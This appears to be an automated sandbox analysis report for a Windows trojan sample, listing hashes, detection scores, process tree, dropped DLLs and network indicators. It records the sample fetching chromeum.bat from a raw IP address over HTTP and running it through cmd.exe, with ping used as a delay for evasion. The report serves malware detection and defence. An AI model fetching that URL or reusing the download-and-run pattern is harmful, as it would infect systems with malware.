Edit tour

Windows Analysis Report
BWuMwnE7tw.exe

Overview

General Information

Sample name:	BWuMwnE7tw.exe renamed because original name is a hash value
Original sample name:	bc9e4510fe172f8155d02b28ab79da83.exe
Analysis ID:	1559092
MD5:	bc9e4510fe172f8155d02b28ab79da83
SHA1:	317b2bdf893072d9d5d1484d89ab590ec810b6c4
SHA256:	1dd4a56cf8d794eaf33526b673750be20b5d052645a4abfc13fd92781b878d8f
Tags:	exeuser-abuse_ch
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

BWuMwnE7tw.exe (PID: 3040 cmdline: "C:\Users\user\Desktop\BWuMwnE7tw.exe" MD5: BC9E4510FE172F8155D02B28AB79DA83)

cmd.exe (PID: 7116 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\gentee72\chromeum.bat"" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2608 cmdline: cmd.exe /c deldll.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 6768 cmdline: ping -n 2 -w 1000 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: BWuMwnE7tw.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: BWuMwnE7tw.exe	Virustotal: Detection: 22%			Perma Link
Source: BWuMwnE7tw.exe	ReversingLabs: Detection: 21%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Source: BWuMwnE7tw.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\BWuMwnE7tw.exe

Code function: 0_2_100059A0 FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,

0_2_100059A0

Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	Jump to behavior

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping -n 2 -w 1000 127.0.0.1

Source: global traffic

HTTP traffic detected: GET /chromeum.bat HTTP/1.0User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko) Accept: */*Host: 82.115.223.189

Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189
Source: unknown	TCP traffic detected without corresponding DNS query: 82.115.223.189

Source: global traffic

HTTP traffic detected: GET /chromeum.bat HTTP/1.0User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko) Accept: */*Host: 82.115.223.189

Source: BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111136503.000000000259F000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110378123.00000000021CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.115.223.189/chromeum.bat
Source: BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111136503.000000000259F000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110378123.00000000021CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.115.223.189/chromeum.bat#tempinstpath#chromeum.bat0
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: http://crl.certum.pl/cscasha2.crl0q
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: http://cscasha2.ocsp-certum.com04
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: http://repository.certum.pl/cscasha2.cer0
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: http://s.symcd.com06
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: http://subca.ocsp-certum.com01
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: http://www.certum.pl/CPS0
Source: BWuMwnE7tw.exe, 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmp, genteert.dll.0.dr	String found in binary or memory: http://www.gentee.comB
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: http://www.openssl.org/f
Source: libeay32.dll.0.dr	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp, BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp, ssleay32.dll.0.dr, libeay32.dll.0.dr	String found in binary or memory: https://www.certum.pl/CPS0

Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Code function: 0_2_10001E10	0_2_10001E10
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Code function: 0_2_10008300	0_2_10008300
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Code function: 0_2_10007770	0_2_10007770

Source: BWuMwnE7tw.exe, 00000000.00000002.2111599935.0000000002B64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamessleay32.dllH vs BWuMwnE7tw.exe
Source: BWuMwnE7tw.exe, 00000000.00000002.2112068924.000000001000E000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamegentee.dll vs BWuMwnE7tw.exe
Source: BWuMwnE7tw.exe, 00000000.00000002.2111471538.0000000002874000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibeay32.dllH vs BWuMwnE7tw.exe
Source: BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibeay32.dllH vs BWuMwnE7tw.exe
Source: BWuMwnE7tw.exe, 00000000.00000002.2111212039.0000000002689000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamessleay32.dllH vs BWuMwnE7tw.exe
Source: BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibeay32.dllH vs BWuMwnE7tw.exe
Source: BWuMwnE7tw.exe, 00000000.00000002.2110976596.0000000002380000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamessleay32.dllH vs BWuMwnE7tw.exe

Source: BWuMwnE7tw.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: BWuMwnE7tw.exe

Static PE information: Section: .gentee ZLIB complexity 0.9985147215721366

Source: classification engine

Classification label: mal68.troj.evad.winEXE@10/8@0/2

Source: C:\Users\user\Desktop\BWuMwnE7tw.exe

File created: C:\Program Files (x86)\59470120112024199253140

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:320:120:WilError_03
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Mutant created: \Sessions\1\BaseNamedObjects\ci199253140

Source: C:\Users\user\Desktop\BWuMwnE7tw.exe

File created: C:\Users\user\AppData\Local\Temp\genteert.dll

Jump to behavior

Source: C:\Users\user\Desktop\BWuMwnE7tw.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\gentee72\chromeum.bat""

Source: BWuMwnE7tw.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\BWuMwnE7tw.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\BWuMwnE7tw.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: BWuMwnE7tw.exe	Virustotal: Detection: 22%
Source: BWuMwnE7tw.exe	ReversingLabs: Detection: 21%

Source: C:\Users\user\Desktop\BWuMwnE7tw.exe

File read: C:\Users\user\Desktop\BWuMwnE7tw.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\BWuMwnE7tw.exe "C:\Users\user\Desktop\BWuMwnE7tw.exe"
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\gentee72\chromeum.bat""
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c deldll.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 2 -w 1000 127.0.0.1
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\gentee72\chromeum.bat""	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c deldll.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 2 -w 1000 127.0.0.1	Jump to behavior

Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior

Source: C:\Users\user\Desktop\BWuMwnE7tw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: BWuMwnE7tw.exe

Static PE information: section name: .gentee

Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	File created: C:\Users\user\AppData\Local\Temp\gentee72\libeay32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	File created: C:\Users\user\AppData\Local\Temp\gentee72\guig.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	File created: C:\Users\user\AppData\Local\Temp\gentee72\ssleay32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	File created: C:\Users\user\AppData\Local\Temp\genteert.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 2 -w 1000 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 2 -w 1000 127.0.0.1			Jump to behavior

Source: C:\Users\user\Desktop\BWuMwnE7tw.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\gentee72\libeay32.dll	Jump to dropped file
